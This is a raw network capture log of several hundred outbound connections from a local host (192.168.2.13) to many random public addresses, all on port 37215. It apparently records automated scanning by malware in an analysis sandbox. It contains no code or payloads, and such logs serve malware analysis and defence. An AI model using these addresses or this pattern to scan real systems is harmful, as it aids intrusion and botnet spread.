Dec 3, 2024 21:47:25.392179012 CET	34043	37215	192.168.2.13	156.241.10.15
Dec 3, 2024 21:47:25.392179012 CET	34043	37215	192.168.2.13	156.63.63.213
Dec 3, 2024 21:47:25.392185926 CET	34043	37215	192.168.2.13	197.84.10.116
Dec 3, 2024 21:47:25.392200947 CET	34043	37215	192.168.2.13	197.160.196.186
Dec 3, 2024 21:47:25.392201900 CET	34043	37215	192.168.2.13	197.26.94.183
Dec 3, 2024 21:47:25.392205000 CET	34043	37215	192.168.2.13	156.164.81.225
Dec 3, 2024 21:47:25.392219067 CET	34043	37215	192.168.2.13	197.251.255.140
Dec 3, 2024 21:47:25.392220020 CET	34043	37215	192.168.2.13	197.188.251.233
Dec 3, 2024 21:47:25.392230034 CET	34043	37215	192.168.2.13	197.111.82.241
Dec 3, 2024 21:47:25.392236948 CET	34043	37215	192.168.2.13	197.88.193.132
Dec 3, 2024 21:47:25.392251968 CET	34043	37215	192.168.2.13	156.242.107.253
Dec 3, 2024 21:47:25.392252922 CET	34043	37215	192.168.2.13	197.216.78.206
Dec 3, 2024 21:47:25.392257929 CET	34043	37215	192.168.2.13	156.90.165.96
Dec 3, 2024 21:47:25.392258883 CET	34043	37215	192.168.2.13	41.182.6.30
Dec 3, 2024 21:47:25.392261982 CET	34043	37215	192.168.2.13	156.223.75.50
Dec 3, 2024 21:47:25.392267942 CET	34043	37215	192.168.2.13	156.80.230.219
Dec 3, 2024 21:47:25.392283916 CET	34043	37215	192.168.2.13	197.125.192.3
Dec 3, 2024 21:47:25.392292976 CET	34043	37215	192.168.2.13	197.132.168.138
Dec 3, 2024 21:47:25.392293930 CET	34043	37215	192.168.2.13	197.115.197.250
Dec 3, 2024 21:47:25.392307997 CET	34043	37215	192.168.2.13	197.127.108.154
Dec 3, 2024 21:47:25.392307997 CET	34043	37215	192.168.2.13	197.143.24.184
Dec 3, 2024 21:47:25.392312050 CET	34043	37215	192.168.2.13	41.69.56.38
Dec 3, 2024 21:47:25.392313004 CET	34043	37215	192.168.2.13	41.222.144.111
Dec 3, 2024 21:47:25.392327070 CET	34043	37215	192.168.2.13	197.89.20.53
Dec 3, 2024 21:47:25.392332077 CET	34043	37215	192.168.2.13	41.40.239.59
Dec 3, 2024 21:47:25.392343998 CET	34043	37215	192.168.2.13	197.251.227.38
Dec 3, 2024 21:47:25.392344952 CET	34043	37215	192.168.2.13	156.120.78.67
Dec 3, 2024 21:47:25.392349958 CET	34043	37215	192.168.2.13	41.62.208.90
Dec 3, 2024 21:47:25.392359018 CET	34043	37215	192.168.2.13	156.41.182.17
Dec 3, 2024 21:47:25.392364025 CET	34043	37215	192.168.2.13	41.139.63.32
Dec 3, 2024 21:47:25.392380953 CET	34043	37215	192.168.2.13	197.138.212.252
Dec 3, 2024 21:47:25.392380953 CET	34043	37215	192.168.2.13	156.90.230.244
Dec 3, 2024 21:47:25.392391920 CET	34043	37215	192.168.2.13	41.224.63.187
Dec 3, 2024 21:47:25.392396927 CET	34043	37215	192.168.2.13	41.246.203.168
Dec 3, 2024 21:47:25.392396927 CET	34043	37215	192.168.2.13	156.207.95.45
Dec 3, 2024 21:47:25.392405987 CET	34043	37215	192.168.2.13	156.105.117.90
Dec 3, 2024 21:47:25.392411947 CET	34043	37215	192.168.2.13	156.190.95.217
Dec 3, 2024 21:47:25.392421007 CET	34043	37215	192.168.2.13	197.207.31.113
Dec 3, 2024 21:47:25.392430067 CET	34043	37215	192.168.2.13	197.116.19.53
Dec 3, 2024 21:47:25.392435074 CET	34043	37215	192.168.2.13	41.79.47.173
Dec 3, 2024 21:47:25.392445087 CET	34043	37215	192.168.2.13	41.14.156.129
Dec 3, 2024 21:47:25.392453909 CET	34043	37215	192.168.2.13	156.40.49.150
Dec 3, 2024 21:47:25.392467976 CET	34043	37215	192.168.2.13	41.30.101.249
Dec 3, 2024 21:47:25.392467976 CET	34043	37215	192.168.2.13	41.237.240.30
Dec 3, 2024 21:47:25.392473936 CET	34043	37215	192.168.2.13	41.183.251.61
Dec 3, 2024 21:47:25.392478943 CET	34043	37215	192.168.2.13	197.130.48.92
Dec 3, 2024 21:47:25.392482042 CET	34043	37215	192.168.2.13	197.186.245.189
Dec 3, 2024 21:47:25.392482996 CET	34043	37215	192.168.2.13	41.22.68.254
Dec 3, 2024 21:47:25.392491102 CET	34043	37215	192.168.2.13	156.227.140.33
Dec 3, 2024 21:47:25.392498016 CET	34043	37215	192.168.2.13	41.180.40.216
Dec 3, 2024 21:47:25.392503023 CET	34043	37215	192.168.2.13	197.125.160.207
Dec 3, 2024 21:47:25.392524004 CET	34043	37215	192.168.2.13	197.101.17.188
Dec 3, 2024 21:47:25.392528057 CET	34043	37215	192.168.2.13	197.26.152.118
Dec 3, 2024 21:47:25.392534971 CET	34043	37215	192.168.2.13	197.255.109.135
Dec 3, 2024 21:47:25.392537117 CET	34043	37215	192.168.2.13	41.33.28.101
Dec 3, 2024 21:47:25.392538071 CET	34043	37215	192.168.2.13	197.15.84.221
Dec 3, 2024 21:47:25.392546892 CET	34043	37215	192.168.2.13	156.125.58.182
Dec 3, 2024 21:47:25.392565966 CET	34043	37215	192.168.2.13	41.43.85.92
Dec 3, 2024 21:47:25.392569065 CET	34043	37215	192.168.2.13	197.64.135.9
Dec 3, 2024 21:47:25.392574072 CET	34043	37215	192.168.2.13	156.102.27.236
Dec 3, 2024 21:47:25.392580986 CET	34043	37215	192.168.2.13	197.172.227.57
Dec 3, 2024 21:47:25.392594099 CET	34043	37215	192.168.2.13	41.235.214.150
Dec 3, 2024 21:47:25.392595053 CET	34043	37215	192.168.2.13	41.206.71.34
Dec 3, 2024 21:47:25.392604113 CET	34043	37215	192.168.2.13	156.57.120.108
Dec 3, 2024 21:47:25.392611980 CET	34043	37215	192.168.2.13	41.139.145.148
Dec 3, 2024 21:47:25.392612934 CET	34043	37215	192.168.2.13	41.65.2.81
Dec 3, 2024 21:47:25.392622948 CET	34043	37215	192.168.2.13	156.219.246.61
Dec 3, 2024 21:47:25.392628908 CET	34043	37215	192.168.2.13	156.162.157.215
Dec 3, 2024 21:47:25.392632961 CET	34043	37215	192.168.2.13	197.19.6.80
Dec 3, 2024 21:47:25.392636061 CET	34043	37215	192.168.2.13	41.239.204.240
Dec 3, 2024 21:47:25.392653942 CET	34043	37215	192.168.2.13	41.190.58.58
Dec 3, 2024 21:47:25.392653942 CET	34043	37215	192.168.2.13	156.246.185.173
Dec 3, 2024 21:47:25.392653942 CET	34043	37215	192.168.2.13	41.194.225.16
Dec 3, 2024 21:47:25.392662048 CET	34043	37215	192.168.2.13	156.157.124.108
Dec 3, 2024 21:47:25.392662048 CET	34043	37215	192.168.2.13	156.244.203.176
Dec 3, 2024 21:47:25.392679930 CET	34043	37215	192.168.2.13	41.129.202.209
Dec 3, 2024 21:47:25.392688036 CET	34043	37215	192.168.2.13	41.204.173.193
Dec 3, 2024 21:47:25.392688036 CET	34043	37215	192.168.2.13	41.233.251.136
Dec 3, 2024 21:47:25.392693043 CET	34043	37215	192.168.2.13	197.200.245.94
Dec 3, 2024 21:47:25.392705917 CET	34043	37215	192.168.2.13	41.23.126.67
Dec 3, 2024 21:47:25.392708063 CET	34043	37215	192.168.2.13	156.112.129.242
Dec 3, 2024 21:47:25.392708063 CET	34043	37215	192.168.2.13	156.220.221.28
Dec 3, 2024 21:47:25.392716885 CET	34043	37215	192.168.2.13	156.47.121.12
Dec 3, 2024 21:47:25.392724991 CET	34043	37215	192.168.2.13	156.192.207.208
Dec 3, 2024 21:47:25.392729998 CET	34043	37215	192.168.2.13	197.170.85.23
Dec 3, 2024 21:47:25.392738104 CET	34043	37215	192.168.2.13	41.65.52.211
Dec 3, 2024 21:47:25.392745018 CET	34043	37215	192.168.2.13	41.221.183.27
Dec 3, 2024 21:47:25.392748117 CET	34043	37215	192.168.2.13	41.251.243.179
Dec 3, 2024 21:47:25.392759085 CET	34043	37215	192.168.2.13	197.97.215.242
Dec 3, 2024 21:47:25.392774105 CET	34043	37215	192.168.2.13	197.209.168.238
Dec 3, 2024 21:47:25.392776966 CET	34043	37215	192.168.2.13	41.6.190.57
Dec 3, 2024 21:47:25.392781973 CET	34043	37215	192.168.2.13	156.227.79.73
Dec 3, 2024 21:47:25.392786026 CET	34043	37215	192.168.2.13	197.116.161.62
Dec 3, 2024 21:47:25.392786980 CET	34043	37215	192.168.2.13	156.38.159.135
Dec 3, 2024 21:47:25.392801046 CET	34043	37215	192.168.2.13	156.131.111.163
Dec 3, 2024 21:47:25.392807961 CET	34043	37215	192.168.2.13	156.37.90.156
Dec 3, 2024 21:47:25.392812967 CET	34043	37215	192.168.2.13	197.81.45.64
Dec 3, 2024 21:47:25.392827988 CET	34043	37215	192.168.2.13	197.203.141.201
Dec 3, 2024 21:47:25.392827988 CET	34043	37215	192.168.2.13	197.31.70.127
Dec 3, 2024 21:47:25.392837048 CET	34043	37215	192.168.2.13	197.16.94.136
Dec 3, 2024 21:47:25.392838001 CET	34043	37215	192.168.2.13	41.201.115.193
Dec 3, 2024 21:47:25.392849922 CET	34043	37215	192.168.2.13	197.150.203.156
Dec 3, 2024 21:47:25.392849922 CET	34043	37215	192.168.2.13	156.125.247.117
Dec 3, 2024 21:47:25.392858982 CET	34043	37215	192.168.2.13	197.78.190.18
Dec 3, 2024 21:47:25.392874002 CET	34043	37215	192.168.2.13	197.178.88.128
Dec 3, 2024 21:47:25.392874956 CET	34043	37215	192.168.2.13	197.172.126.78
Dec 3, 2024 21:47:25.392878056 CET	34043	37215	192.168.2.13	41.154.171.92
Dec 3, 2024 21:47:25.392878056 CET	34043	37215	192.168.2.13	197.224.177.100
Dec 3, 2024 21:47:25.392885923 CET	34043	37215	192.168.2.13	41.77.210.196
Dec 3, 2024 21:47:25.392888069 CET	34043	37215	192.168.2.13	197.107.185.93
Dec 3, 2024 21:47:25.392899990 CET	34043	37215	192.168.2.13	41.245.77.5
Dec 3, 2024 21:47:25.392904043 CET	34043	37215	192.168.2.13	156.57.225.119
Dec 3, 2024 21:47:25.392923117 CET	34043	37215	192.168.2.13	197.121.34.221
Dec 3, 2024 21:47:25.392924070 CET	34043	37215	192.168.2.13	156.113.22.72
Dec 3, 2024 21:47:25.392924070 CET	34043	37215	192.168.2.13	156.240.172.201
Dec 3, 2024 21:47:25.392924070 CET	34043	37215	192.168.2.13	41.149.24.100
Dec 3, 2024 21:47:25.392931938 CET	34043	37215	192.168.2.13	41.136.244.181
Dec 3, 2024 21:47:25.392931938 CET	34043	37215	192.168.2.13	197.239.89.200
Dec 3, 2024 21:47:25.392940998 CET	34043	37215	192.168.2.13	197.43.44.245
Dec 3, 2024 21:47:25.392942905 CET	34043	37215	192.168.2.13	197.189.133.238
Dec 3, 2024 21:47:25.392942905 CET	34043	37215	192.168.2.13	156.51.13.119
Dec 3, 2024 21:47:25.392957926 CET	34043	37215	192.168.2.13	41.2.140.138
Dec 3, 2024 21:47:25.392966032 CET	34043	37215	192.168.2.13	41.169.54.8
Dec 3, 2024 21:47:25.392966032 CET	34043	37215	192.168.2.13	197.29.241.204
Dec 3, 2024 21:47:25.392982960 CET	34043	37215	192.168.2.13	156.219.209.209
Dec 3, 2024 21:47:25.392983913 CET	34043	37215	192.168.2.13	156.247.113.100
Dec 3, 2024 21:47:25.392991066 CET	34043	37215	192.168.2.13	156.112.191.171
Dec 3, 2024 21:47:25.392995119 CET	34043	37215	192.168.2.13	156.5.177.27
Dec 3, 2024 21:47:25.392995119 CET	34043	37215	192.168.2.13	41.101.171.210
Dec 3, 2024 21:47:25.393008947 CET	34043	37215	192.168.2.13	197.214.205.252
Dec 3, 2024 21:47:25.393008947 CET	34043	37215	192.168.2.13	41.120.92.186
Dec 3, 2024 21:47:25.393018007 CET	34043	37215	192.168.2.13	197.182.80.166
Dec 3, 2024 21:47:25.393023968 CET	34043	37215	192.168.2.13	156.218.165.143
Dec 3, 2024 21:47:25.393033981 CET	34043	37215	192.168.2.13	156.53.65.24
Dec 3, 2024 21:47:25.393035889 CET	34043	37215	192.168.2.13	156.114.7.93
Dec 3, 2024 21:47:25.393040895 CET	34043	37215	192.168.2.13	41.88.243.103
Dec 3, 2024 21:47:25.393063068 CET	34043	37215	192.168.2.13	41.172.89.178
Dec 3, 2024 21:47:25.393073082 CET	34043	37215	192.168.2.13	197.21.30.103
Dec 3, 2024 21:47:25.393078089 CET	34043	37215	192.168.2.13	41.20.110.0
Dec 3, 2024 21:47:25.393079042 CET	34043	37215	192.168.2.13	41.146.33.67
Dec 3, 2024 21:47:25.393085003 CET	34043	37215	192.168.2.13	197.188.94.164
Dec 3, 2024 21:47:25.393086910 CET	34043	37215	192.168.2.13	197.250.167.156
Dec 3, 2024 21:47:25.393091917 CET	34043	37215	192.168.2.13	197.62.37.185
Dec 3, 2024 21:47:25.393102884 CET	34043	37215	192.168.2.13	156.144.205.50
Dec 3, 2024 21:47:25.393107891 CET	34043	37215	192.168.2.13	197.221.172.167
Dec 3, 2024 21:47:25.393112898 CET	34043	37215	192.168.2.13	156.70.149.35
Dec 3, 2024 21:47:25.393116951 CET	34043	37215	192.168.2.13	197.132.129.143
Dec 3, 2024 21:47:25.393124104 CET	34043	37215	192.168.2.13	41.94.52.137
Dec 3, 2024 21:47:25.393126011 CET	34043	37215	192.168.2.13	41.104.255.9
Dec 3, 2024 21:47:25.393131018 CET	34043	37215	192.168.2.13	41.3.201.9
Dec 3, 2024 21:47:25.393138885 CET	34043	37215	192.168.2.13	197.207.170.149
Dec 3, 2024 21:47:25.393143892 CET	34043	37215	192.168.2.13	156.67.37.244
Dec 3, 2024 21:47:25.393145084 CET	34043	37215	192.168.2.13	197.64.117.221
Dec 3, 2024 21:47:25.393162012 CET	34043	37215	192.168.2.13	156.64.135.140
Dec 3, 2024 21:47:25.393168926 CET	34043	37215	192.168.2.13	197.145.80.106
Dec 3, 2024 21:47:25.393178940 CET	34043	37215	192.168.2.13	41.29.169.220
Dec 3, 2024 21:47:25.393179893 CET	34043	37215	192.168.2.13	156.210.250.183
Dec 3, 2024 21:47:25.393189907 CET	34043	37215	192.168.2.13	41.216.99.163
Dec 3, 2024 21:47:25.393208027 CET	34043	37215	192.168.2.13	197.27.38.221
Dec 3, 2024 21:47:25.393208027 CET	34043	37215	192.168.2.13	41.84.191.123
Dec 3, 2024 21:47:25.393208027 CET	34043	37215	192.168.2.13	197.179.147.157
Dec 3, 2024 21:47:25.393220901 CET	34043	37215	192.168.2.13	156.186.227.13
Dec 3, 2024 21:47:25.393234015 CET	34043	37215	192.168.2.13	41.58.121.225
Dec 3, 2024 21:47:25.393244982 CET	34043	37215	192.168.2.13	156.32.144.143
Dec 3, 2024 21:47:25.393244982 CET	34043	37215	192.168.2.13	197.204.37.168
Dec 3, 2024 21:47:25.393254042 CET	34043	37215	192.168.2.13	41.169.108.65
Dec 3, 2024 21:47:25.393254995 CET	34043	37215	192.168.2.13	197.24.50.220
Dec 3, 2024 21:47:25.393270016 CET	34043	37215	192.168.2.13	41.208.24.59
Dec 3, 2024 21:47:25.393277884 CET	34043	37215	192.168.2.13	197.184.40.226
Dec 3, 2024 21:47:25.393277884 CET	34043	37215	192.168.2.13	156.16.122.152
Dec 3, 2024 21:47:25.393279076 CET	34043	37215	192.168.2.13	156.181.74.65
Dec 3, 2024 21:47:25.393289089 CET	34043	37215	192.168.2.13	156.150.6.4
Dec 3, 2024 21:47:25.393296957 CET	34043	37215	192.168.2.13	156.120.95.22
Dec 3, 2024 21:47:25.393305063 CET	34043	37215	192.168.2.13	41.181.28.231
Dec 3, 2024 21:47:25.393313885 CET	34043	37215	192.168.2.13	197.134.63.56
Dec 3, 2024 21:47:25.393316031 CET	34043	37215	192.168.2.13	197.210.171.42
Dec 3, 2024 21:47:25.393323898 CET	34043	37215	192.168.2.13	197.0.205.124
Dec 3, 2024 21:47:25.393327951 CET	34043	37215	192.168.2.13	41.255.84.83
Dec 3, 2024 21:47:25.393337011 CET	34043	37215	192.168.2.13	156.135.72.211
Dec 3, 2024 21:47:25.393345118 CET	34043	37215	192.168.2.13	156.89.114.153
Dec 3, 2024 21:47:25.393353939 CET	34043	37215	192.168.2.13	41.68.112.20
Dec 3, 2024 21:47:25.393361092 CET	34043	37215	192.168.2.13	197.98.44.39
Dec 3, 2024 21:47:25.393364906 CET	34043	37215	192.168.2.13	197.240.38.81
Dec 3, 2024 21:47:25.393376112 CET	34043	37215	192.168.2.13	156.55.246.210
Dec 3, 2024 21:47:25.393376112 CET	34043	37215	192.168.2.13	41.190.114.28
Dec 3, 2024 21:47:25.393394947 CET	34043	37215	192.168.2.13	156.88.83.130
Dec 3, 2024 21:47:25.393404961 CET	34043	37215	192.168.2.13	156.203.160.158
Dec 3, 2024 21:47:25.393405914 CET	34043	37215	192.168.2.13	156.72.210.30
Dec 3, 2024 21:47:25.393412113 CET	34043	37215	192.168.2.13	156.104.138.132
Dec 3, 2024 21:47:25.393414974 CET	34043	37215	192.168.2.13	41.234.207.60
Dec 3, 2024 21:47:25.393415928 CET	34043	37215	192.168.2.13	197.140.230.77
Dec 3, 2024 21:47:25.393431902 CET	34043	37215	192.168.2.13	197.51.176.216
Dec 3, 2024 21:47:25.393431902 CET	34043	37215	192.168.2.13	156.58.202.64
Dec 3, 2024 21:47:25.393433094 CET	34043	37215	192.168.2.13	197.31.246.169
Dec 3, 2024 21:47:25.393443108 CET	34043	37215	192.168.2.13	197.155.66.232
Dec 3, 2024 21:47:25.393443108 CET	34043	37215	192.168.2.13	156.117.165.77
Dec 3, 2024 21:47:25.393455982 CET	34043	37215	192.168.2.13	41.222.173.142
Dec 3, 2024 21:47:25.393465996 CET	34043	37215	192.168.2.13	156.207.51.215
Dec 3, 2024 21:47:25.393465996 CET	34043	37215	192.168.2.13	41.219.103.13
Dec 3, 2024 21:47:25.393481970 CET	34043	37215	192.168.2.13	197.142.1.31
Dec 3, 2024 21:47:25.393488884 CET	34043	37215	192.168.2.13	156.100.131.6
Dec 3, 2024 21:47:25.393493891 CET	34043	37215	192.168.2.13	156.176.119.106
Dec 3, 2024 21:47:25.393493891 CET	34043	37215	192.168.2.13	197.79.129.240
Dec 3, 2024 21:47:25.393496990 CET	34043	37215	192.168.2.13	197.205.248.199
Dec 3, 2024 21:47:25.393505096 CET	34043	37215	192.168.2.13	156.120.244.112
Dec 3, 2024 21:47:25.393515110 CET	34043	37215	192.168.2.13	197.211.27.229
Dec 3, 2024 21:47:25.393515110 CET	34043	37215	192.168.2.13	197.242.157.197
Dec 3, 2024 21:47:25.393522978 CET	34043	37215	192.168.2.13	197.24.124.7
Dec 3, 2024 21:47:25.393541098 CET	34043	37215	192.168.2.13	197.24.56.48
Dec 3, 2024 21:47:25.393541098 CET	34043	37215	192.168.2.13	41.8.56.31
Dec 3, 2024 21:47:25.393552065 CET	34043	37215	192.168.2.13	41.170.57.217
Dec 3, 2024 21:47:25.393552065 CET	34043	37215	192.168.2.13	156.76.75.129
Dec 3, 2024 21:47:25.393568039 CET	34043	37215	192.168.2.13	197.76.234.148
Dec 3, 2024 21:47:25.393577099 CET	34043	37215	192.168.2.13	41.61.58.150
Dec 3, 2024 21:47:25.393577099 CET	34043	37215	192.168.2.13	197.108.50.120
Dec 3, 2024 21:47:25.393584967 CET	34043	37215	192.168.2.13	197.188.40.17
Dec 3, 2024 21:47:25.393589973 CET	34043	37215	192.168.2.13	197.135.138.1
Dec 3, 2024 21:47:25.393594027 CET	34043	37215	192.168.2.13	41.43.26.37
Dec 3, 2024 21:47:25.393601894 CET	34043	37215	192.168.2.13	41.251.89.47
Dec 3, 2024 21:47:25.393733978 CET	51292	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:25.393733978 CET	51292	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:25.394215107 CET	51382	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:25.394539118 CET	49998	37215	192.168.2.13	197.216.132.14
Dec 3, 2024 21:47:25.394539118 CET	49998	37215	192.168.2.13	197.216.132.14
Dec 3, 2024 21:47:25.394778013 CET	50078	37215	192.168.2.13	197.216.132.14
Dec 3, 2024 21:47:25.395025015 CET	52870	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:25.395025015 CET	52870	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:25.395245075 CET	52946	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:25.395522118 CET	35446	37215	192.168.2.13	41.18.160.244
Dec 3, 2024 21:47:25.395522118 CET	35446	37215	192.168.2.13	41.18.160.244
Dec 3, 2024 21:47:25.395771027 CET	35522	37215	192.168.2.13	41.18.160.244
Dec 3, 2024 21:47:25.396070957 CET	47096	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:25.396070957 CET	47096	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:25.396266937 CET	47166	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:25.396614075 CET	43458	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:25.396614075 CET	43458	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:25.396831036 CET	43638	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:25.397108078 CET	36714	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:25.397108078 CET	36714	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:25.397346020 CET	36894	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:25.397603989 CET	38170	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:25.397603989 CET	38170	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:25.397819042 CET	38350	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:25.398116112 CET	59244	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:25.398116112 CET	59244	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:25.398335934 CET	59424	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:25.398606062 CET	41900	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:25.398606062 CET	41900	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:25.398850918 CET	42080	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:25.399123907 CET	60122	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:25.399123907 CET	60122	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:25.399353981 CET	60302	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:25.399630070 CET	36642	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:25.399630070 CET	36642	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:25.399842978 CET	36822	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:25.400120974 CET	59260	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:25.400141001 CET	59260	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:25.400362015 CET	59438	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:25.400652885 CET	57744	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:25.400652885 CET	57744	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:25.400856972 CET	57922	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:25.401129961 CET	37690	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:25.401129961 CET	37690	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:25.401350975 CET	37868	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:25.401635885 CET	44252	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:25.401635885 CET	44252	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:25.401858091 CET	44430	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:25.402148962 CET	51858	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:25.402148962 CET	51858	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:25.402404070 CET	52036	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:25.402651072 CET	49896	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:25.402652025 CET	49896	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:25.402883053 CET	50074	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:25.403158903 CET	47108	37215	192.168.2.13	156.1.31.252
Dec 3, 2024 21:47:25.403158903 CET	47108	37215	192.168.2.13	156.1.31.252
Dec 3, 2024 21:47:25.403410912 CET	47286	37215	192.168.2.13	156.1.31.252
Dec 3, 2024 21:47:25.403690100 CET	47568	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:25.403690100 CET	47568	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:25.403909922 CET	47746	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:25.404207945 CET	59258	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:25.404207945 CET	59258	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:25.404449940 CET	59436	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:25.404732943 CET	41344	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:25.404732943 CET	41344	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:25.404946089 CET	41522	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:25.405247927 CET	34438	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:25.405247927 CET	34438	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:25.405476093 CET	34616	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:25.405735016 CET	46270	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:25.405735016 CET	46270	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:25.405953884 CET	46448	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:25.406260014 CET	33198	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:25.406274080 CET	33198	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:25.406497955 CET	33376	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:25.406764030 CET	34534	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:25.406764030 CET	34534	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:25.406969070 CET	34712	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:25.407239914 CET	47650	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:25.407239914 CET	47650	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:25.407489061 CET	47828	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:25.407766104 CET	43096	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:25.407766104 CET	43096	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:25.407954931 CET	43274	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:25.408237934 CET	46910	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:25.408237934 CET	46910	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:25.408451080 CET	47088	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:25.408710003 CET	58070	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:25.408710003 CET	58070	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:25.408911943 CET	58248	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:25.409157038 CET	34998	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:25.409157038 CET	34998	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:25.409363985 CET	35176	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:25.409631968 CET	47708	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:25.409632921 CET	47708	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:25.409863949 CET	47886	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:25.410135984 CET	51976	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:25.410135984 CET	51976	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:25.410346985 CET	52154	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:25.410629034 CET	51982	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:25.410629034 CET	51982	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:25.410840988 CET	52158	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:25.411118984 CET	42164	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:25.411118984 CET	42164	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:25.411345959 CET	42340	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:25.411619902 CET	60128	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:25.411619902 CET	60128	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:25.411883116 CET	60304	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:25.412122011 CET	55416	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:25.412122011 CET	55416	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:25.412341118 CET	55592	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:25.412621021 CET	36698	37215	192.168.2.13	41.26.12.27
Dec 3, 2024 21:47:25.412621021 CET	36698	37215	192.168.2.13	41.26.12.27
Dec 3, 2024 21:47:25.412853956 CET	36874	37215	192.168.2.13	41.26.12.27
